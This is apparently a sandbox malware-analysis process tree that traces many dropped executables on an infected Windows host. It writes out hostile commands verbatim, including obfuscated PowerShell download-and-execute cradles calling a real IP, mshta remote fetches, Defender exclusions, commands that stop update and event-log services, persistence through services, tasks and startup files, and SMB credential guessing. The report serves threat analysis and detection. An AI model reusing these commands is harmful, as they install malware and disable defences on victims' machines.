      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 3 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:6140
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\C$ "1509" /user:"admin"
        6⤵
        
        PID:5212
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\Users "1509" /user:"admin"
        6⤵
        
        PID:4952
      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 3 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:6940
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\C$ """" /user:"admin"
        6⤵
        
        PID:460
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\Users """" /user:"admin"
        6⤵
        
        PID:2028
      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 3 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5488
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\C$ "0" /user:"àäìèíèñòðàòîð"
        6⤵
        
        PID:4548
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\Users "0" /user:"àäìèíèñòðàòîð"
        6⤵
        
        PID:4044
      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 3 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1680
- - C:\Users\Admin\AppData\Local\Temp\a\rh.exe
    "C:\Users\Admin\AppData\Local\Temp\a\rh.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:4484
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4484 -s 580
      4⤵
      Program crash
      PID:4932
- - C:\Users\Admin\AppData\Local\Temp\a\steamerx.exe
    "C:\Users\Admin\AppData\Local\Temp\a\steamerx.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1884
- - C:\Users\Admin\AppData\Local\Temp\a\justpoc.exe
    "C:\Users\Admin\AppData\Local\Temp\a\justpoc.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1088
- - C:\Users\Admin\AppData\Local\Temp\a\Lumm.exe
    "C:\Users\Admin\AppData\Local\Temp\a\Lumm.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4176
- - C:\Users\Admin\AppData\Local\Temp\a\4.exe
    "C:\Users\Admin\AppData\Local\Temp\a\4.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    PID:4020
  - - C:\Users\Admin\AppData\Local\Temp\service123.exe
      "C:\Users\Admin\AppData\Local\Temp\service123.exe"
      4⤵
      PID:4756
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\Admin\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5980
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4020 -s 1004
      4⤵
      Program crash
      PID:5940
- - C:\Users\Admin\AppData\Local\Temp\a\file.exe
    "C:\Users\Admin\AppData\Local\Temp\a\file.exe"
    3⤵
    - Executes dropped EXE
    PID:2180
  - - C:\Windows\SYSTEM32\wscript.exe
      "wscript" C:\Users\Admin\AppData\Local\Temp\tempScript.js
      4⤵
      Checks computer location settings
      PID:4788
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/2.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Modifies registry class
        
        PID:3328
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\CMD.vbs"
        6⤵
        Checks computer location settings
        
        PID:4540
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c mshta http://176.113.115.178/Windows-Update
        7⤵
        
        PID:2556
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:3340
        
        C:\Windows\system32\mshta.exe
        
        mshta http://176.113.115.178/Windows-Update
        8⤵
        Blocklisted process makes network request
        Checks computer location settings
        
        PID:1968
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X
        9⤵
        UAC bypass
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        
        PID:2224
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        10⤵
        
        PID:4788
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4568
        
        C:\Users\Admin\AppData\Roaming\LB31.exe
        
        "C:\Users\Admin\AppData\Roaming\LB31.exe"
        10⤵
        Checks BIOS information in registry
        Executes dropped EXE
        Drops file in System32 directory
        Suspicious use of SetThreadContext
        
        PID:1448
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        11⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4492
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        11⤵
        
        PID:3568
        
        C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        12⤵
        
        PID:4800
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop UsoSvc
        11⤵
        Launches sc.exe
        
        PID:1304
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        11⤵
        Launches sc.exe
        
        PID:4148
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop wuauserv
        11⤵
        Launches sc.exe
        
        PID:4204
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop bits
        11⤵
        Launches sc.exe
        
        PID:3160
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop dosvc
        11⤵
        Launches sc.exe
        
        PID:1292
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        11⤵
        Power Settings
        
        PID:2480
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        12⤵
        
        PID:444
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        11⤵
        Power Settings
        
        PID:2848
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        12⤵
        
        PID:4428
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        11⤵
        Power Settings
        
        PID:548
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        12⤵
        
        PID:2160
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        11⤵
        Power Settings
        
        PID:4612
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        12⤵
        
        PID:2072
        
        C:\Windows\system32\dialer.exe
        
        C:\Windows\system32\dialer.exe
        11⤵
        
        PID:5084
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "LIB"
        11⤵
        Launches sc.exe
        
        PID:1696
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        12⤵
        
        PID:2592
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "LIB" binpath= "C:\ProgramData\Mig\Mig.exe" start= "auto"
        11⤵
        Launches sc.exe
        
        PID:5932
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        12⤵
        
        PID:3364
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        11⤵
        Launches sc.exe
        
        PID:5992
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        12⤵
        
        PID:6044
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "LIB"
        11⤵
        Launches sc.exe
        
        PID:6676
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        12⤵
        
        PID:6064
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/3.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        
        PID:376
- - C:\Users\Admin\AppData\Local\Temp\a\Statement_1382374.exe
    "C:\Users\Admin\AppData\Local\Temp\a\Statement_1382374.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2480
  - - C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\c13606fe9009f11d\setup.msi"
      4⤵
      Enumerates connected drives
      System Location Discovery: System Language Discovery
      Suspicious use of FindShellTrayWindow
      PID:1828
- - C:\Users\Admin\AppData\Local\Temp\a\L.exe
    "C:\Users\Admin\AppData\Local\Temp\a\L.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:4568
- - C:\Users\Admin\AppData\Local\Temp\a\GuidanceConnectors.exe
    "C:\Users\Admin\AppData\Local\Temp\a\GuidanceConnectors.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:4960
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c copy Frequently Frequently.cmd & Frequently.cmd
      4⤵
      PID:6400
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        Suspicious use of SetWindowsHookEx
        
        PID:5896
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:396
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa opssvc"
        5⤵
        
        PID:5900
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:5888
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
        5⤵
        
        PID:6956
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 390641
        5⤵
        
        PID:5240
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "ConventionTroopsStudiedTooth" Version
        5⤵
        
        PID:6192
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Accessing + ..\Entire + ..\Peripherals + ..\Et B
        5⤵
        
        PID:5916
    - - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        Imposed.com B
        5⤵
        
        PID:6560
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:7160
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:6068
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:4636
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:1396
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:1168
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:5048
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:6600
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:6776
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:3288
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:6996
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:5480
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:6680
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:548
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:6320
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:5504
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:2704
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:2092
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:6336
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:5708
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:5816
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:2036
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:5580
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:2592
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:396
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:5396
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:5848
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:5888
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:6080
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:6912
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:5448
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:4172
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:4712
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:5916
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:5756
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:5940
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:6304
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:6828
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:5908
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:6340
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:6832
      - C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        
        C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
        6⤵
        
        PID:1688
      - C:\Windows\SysWOW64\TapiUnattend.exe
        
        C:\Windows\SysWOW64\TapiUnattend.exe
        6⤵
        
        PID:5376
    - - C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        5⤵
        
        PID:5496
- - C:\Users\Admin\AppData\Local\Temp\a\ttl.exe
    "C:\Users\Admin\AppData\Local\Temp\a\ttl.exe"
    3⤵
    - Executes dropped EXE
    PID:6520
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 6520 -s 268
      4⤵
      Checks processor information in registry
      Enumerates system info in registry
      PID:6848
- - C:\Users\Admin\AppData\Local\Temp\a\build4.exe
    "C:\Users\Admin\AppData\Local\Temp\a\build4.exe"
    3⤵
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    PID:5564
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
      4⤵
      PID:4304
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4304 -s 1072
        5⤵
        Program crash
        
        PID:4680
- - C:\Users\Admin\AppData\Local\Temp\a\caspol.exe
    "C:\Users\Admin\AppData\Local\Temp\a\caspol.exe"
    3⤵
    PID:3276
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\a\caspol.exe"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:2056
  - - C:\Users\Admin\AppData\Local\Temp\a\caspol.exe
      "C:\Users\Admin\AppData\Local\Temp\a\caspol.exe"
      4⤵
      PID:3208
- - C:\Users\Admin\AppData\Local\Temp\a\123.exe
    "C:\Users\Admin\AppData\Local\Temp\a\123.exe"
    3⤵
    PID:4444
- C:\Windows\SYSTEM32\cmd.exe
  cmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ZeusChat.url" & echo URL="C:\Users\Admin\AppData\Local\CyberSphere Dynamics\ZeusChat.js" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ZeusChat.url" & exit
  2⤵
  - Drops startup file
  PID:2372

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3752

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4028

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of UnmapMainImage
PID:3852

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4344

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of UnmapMainImage
PID:4908

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:3616

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:1624

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:4508

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:2336

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2940

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2364

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:3116

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXk0k6mrh4r2q0ct33a9wgbez0x7v9cz5y.mca
1⤵
PID:3372

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:2848

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4896

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 4392 -ip 4392
1⤵
PID:2156

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:4604
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 3568 -ip 3568
  2⤵
  PID:3328
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4484 -ip 4484
  2⤵
  PID:5012
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 564 -p 6520 -ip 6520
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  PID:6664
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 644 -p 4304 -ip 4304
  2⤵
  PID:3396
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 4020 -ip 4020
  2⤵
  PID:5964

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:1404

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:2672

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
PID:1876
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 71D60A01B2E4BAA0E837C678C3E1F423 C
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:1692
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIFAE2.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240975000 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:2840
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:4
  2⤵
  PID:6124
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5644
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 7195D288E62E96C5F2928EF4A1E797D3
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:6704
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding D029E958C86DE6D7411D555226E882FE E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:5488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
1⤵
PID:2980

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
PID:5576

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k swprv
1⤵
PID:5568

C:\ProgramData\Mig\Mig.exe
C:\ProgramData\Mig\Mig.exe
1⤵
- Checks BIOS information in registry
- Loads dropped DLL
PID:7136
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:5936
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6584

C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.ClientService.exe
